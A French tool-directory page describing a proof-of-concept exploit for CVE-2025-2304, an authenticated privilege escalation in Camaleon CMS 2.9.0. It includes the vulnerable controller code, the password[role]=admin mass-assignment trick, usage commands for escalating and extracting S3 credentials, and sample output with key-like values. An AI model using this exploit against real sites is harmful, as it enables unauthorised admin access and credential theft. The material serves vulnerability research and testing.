Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-2304 — Escalade de privilèges authentifiée dans Camaleon CMS v2.9.0 via une gestion incorrecte des paramètres dans le point de terminaison updated_ajax. | Kitploit
Outils/GitHubGitHub/alien0ne/cve-2025-2304
Escalade de PrivilègesAttaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubalien0ne/cve-2025-2304

CVE-2025-2304

Escalade de privilèges authentifiée dans Camaleon CMS v2.9.0 via une gestion incorrecte des paramètres dans le point de terminaison updated_ajax.

Voir le dépôt
193il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Camaleon CMS 2.9.0 – Élévation de privilèges authentifiée (Changement de rôle) + Fuite optionnelle de configuration S3

Cible: Camaleon CMS v2.9.0 Type: Élévation de privilèges authentifiée via affectation massive dans updated_ajax (champ rôle) Extras: Extraction optionnelle des paramètres S3 depuis la page des paramètres admin (si l'utilisateur authentifié peut y accéder après l'escalade)

Aperçu

Ce dépôt contient un script Python de preuve de concept qui :

  1. Se connecte au panneau d'administration de Camaleon CMS avec des identifiants valides.
  2. Récupère un jeton CSRF depuis /admin/profile/edit.
  3. Appelle le point de terminaison updated_ajax pour mettre à jour les champs password[...] et abuse de permit! pour définir password[role]=admin.
  4. Optionnellement (-e) extrait les valeurs de configuration S3 depuis /admin/settings/site.
  5. Optionnellement (-r) replace le rôle à sa valeur d'origine après l'exécution.

Ce comportement correspond au modèle d'affectation massive non sécurisé décrit dans l'avis associé :

  • Avis de recherche Tenable : TRA-2025-09

Cause racine (Ce qui est vulnérable)

L'action du contrôleur ci-dessous met à jour un utilisateur avec permit! :

root@kitploit:~
def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)

  @user.update(params.require(:password).permit!)
  render inline: @user.errors.full_messages.join(', ')

  # keep user logged in when changing their own password
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

Parce que permit! autorise toutes les clés sous password, un attaquant peut envoyer :

  • password[password]
  • password[password_confirmation]
  • password[role]=admin

et l'application l'acceptera, élevant ainsi le rôle de l'utilisateur.

Impact

  • Tout utilisateur authentifié pouvant atteindre la route vulnérable peut potentiellement élever ses privilèges en définissant son rôle sur admin.
  • Après l'escalade, les pages réservées aux administrateurs (comme les paramètres du site) peuvent devenir accessibles, ce qui peut entraîner une fuite de données sensibles (par exemple, les clés S3).

Prérequis

  • Python 3.8+
  • requests

Installer la dépendance :

root@kitploit:~
pip install requests

Utilisation

Escalade de privilèges de base (authentifiée)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test

Escalade + extraction des paramètres S3 (-e)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e

Escalade + retrait du rôle (-r)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -r

Escalade + extraction + retrait

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e -r

Arguments

Exemple d'exécution

root@kitploit:~
python3 exploit.py -u http://alienone.in -U test -P test -e -r

Sortie exemple

root@kitploit:~
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
   User ID: 5
   Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
   User ID: 5
   Updated User Role: admin
[+]Extracting S3 Credentials
   s3 access key: AKIAF3A388ECF117D966
   s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
   s3 endpoint: http://localhost:54321
[+]Reverting User Role
   User ID: 5
   User Role: client

Comment le PoC confirme la connexion

Le script vérifie dans le HTML retourné la présence d'un lien /admin/logout après le POST de connexion. Si le lien de déconnexion est présent, la session est considérée comme authentifiée.

Notes sur les jetons CSRF

Camaleon utilise le CSRF à la Rails. Les jetons se trouvent généralement à deux endroits courants :

  • Champ caché dans les formulaires : name="authenticity_token" value="..."
  • Balise meta : <meta name="csrf-token" content="...">

Le PoC récupère le jeton csrf meta depuis /admin/profile/edit et l'utilise dans :

  • Le corps de la requête : authenticity_token=<token>
  • L'en-tête : X-CSRF-Token: <token>

Avertissement

Ce code est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation (par exemple, laboratoires, CTF et environnements où vous avez une autorisation explicite). Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas la permission de tester.


Références

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2304
  • https://www.tenable.com/security/research/tra-2025-09
  • owen2345/camaleon-cms#1109
  • owen2345/camaleon-cms@179fd6b
  • https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0
  • https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/CVE-2025-2304.yml
Télécharger l’outil
IndicateurDescription
-u, --urlURL de base (ex. http://alienone.in)
-U, --usernameNom d'utilisateur valide
-P, --passwordMot de passe valide
--newpassMot de passe envoyé dans la requête de mise à jour (par défaut : test)
-e, --extractExtraire la configuration S3 depuis la page des paramètres
-r, --revertReplacer le rôle à sa valeur d'origine après l'escalade